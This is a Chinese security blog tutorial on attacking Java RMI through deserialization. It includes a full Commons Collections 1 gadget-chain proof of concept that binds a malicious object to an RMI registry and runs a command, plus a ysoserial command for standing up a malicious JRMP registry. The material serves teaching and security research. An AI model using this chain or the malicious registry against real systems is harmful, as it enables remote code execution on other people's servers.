godownio
- 关注
RMI原理
这方面的东西就不多说了,看RMI流程图:
其中存根stub是客户端的代理,骨架skeleton是服务器代理
创建远程对象。
ServiceImpl service = new ServiceImpl();
注册远程对象。
Naming.bind("rmi:127.0.0.1:1099/service",service);
(service为ServiceImpl定义的远程对象)客户端访问服务器并查找远程对象。包括两个步骤:
①用interface定义要查找的远程对象,在第四步作为引用:
ServiceInterface service = (ServiceInterface);
②查找远程对象。
Naming.lookup("rmi://127.0.0.1:1099/service")
Registry返回服务器对象存根。也就是把远程对象service作为自己的service(引用),称为stub
调用远程方法。比如
String rep = service.cxk("ctrl");
客户端存根和服务器骨架通信
骨架代理调用
service.cxk("ctrl");
,实际上是在Server端调用的骨架把结果返回给存根
存根把结果返回给客户端
其中存根stub在客户端,skeleton是服务端本身的远程对象(service本尊)
知道这些就可以了,深入分析见(我的上一篇 RMI源码分析)https://www.freebuf.com/articles/web/352122.html,更深一步直接看https://su18.org/post/rmi-attack/#%E4%B8%89-%E6%80%BB%E7%BB%93
RMI攻击
观察一下RMI流程中有哪些地方进行了反序列化
Server进行Naming.bind时,registry对service会进行反序列化
client进行lookup时,registry对实现了ServiceInterface的service进行反序列化,client接收返回的service也要进行反序列化
client调用远程方法时,server对参数ctrl反序列化,client对server的结果也要反序列化
因此可以根据这几个反序列化入口攻击Server、Client、Registry。
攻击Registry端
入口点为Naming.bind,绑定恶意对象时触发。
以CC1为例,使用AnnotationInvocationHandler类,但是bind()只能接收Remote类的子类。可以用Remote.class.cast强制转换为Remote类:
A.class.cast(B);
将B类强制转化为A类,不过会抛出异常
需要用到代理把AnnotationInvocationHandler代理为remote
Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class}, getpayload()));
POC如下:
package Rmi;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;
public class RmiCC1client {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class}, getpayload()));
Naming.rebind("rmi://192.168.0.103:1099/RemoteObject", proxyEvalObject);
}
public static InvocationHandler getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "godown");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler instance = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
return instance;
}
}
嫌麻烦懒得切文件,把注册表和客户端融合了,加了一句LocateRegistry.createRegistry(1099);
由于RMI采用了DGC分布式垃圾回收机制,还能用JRMP攻击注册中心。此处省略
Registry攻击server和client
registry作为中间代理,理应“大杀四方”。在客户端和服务端需要接收返回结果时,registry都能进行攻击。包括bind()、lookup()、rebind()、unbind()、list()这些Naming库里的方法。但是由于registry端多半不可控,这里简述
用ysoerial生成恶意注册中心:java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
当server或者client调用注册中心的上面五种方法时,就会返回恶意对象
客户端攻击服务端
如果远程方法所需要的参数,和client传的参数都是Object,那当然可以直接攻击。而非Object也能攻击
在分析源码时,说到Server端时根据UnicastServerRef#dispatch来处理客户端请求,在hashToMethod_Map中寻找Method的hash
如果找到了就进行反射调用
Hash算法是SHA1
利用:在debug时,在RemoteObjectInvocationHandler的invokeRemoteMethod处下断点,将Method改为服务器需要的Method。或者在从字节码或者流量把method改掉
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)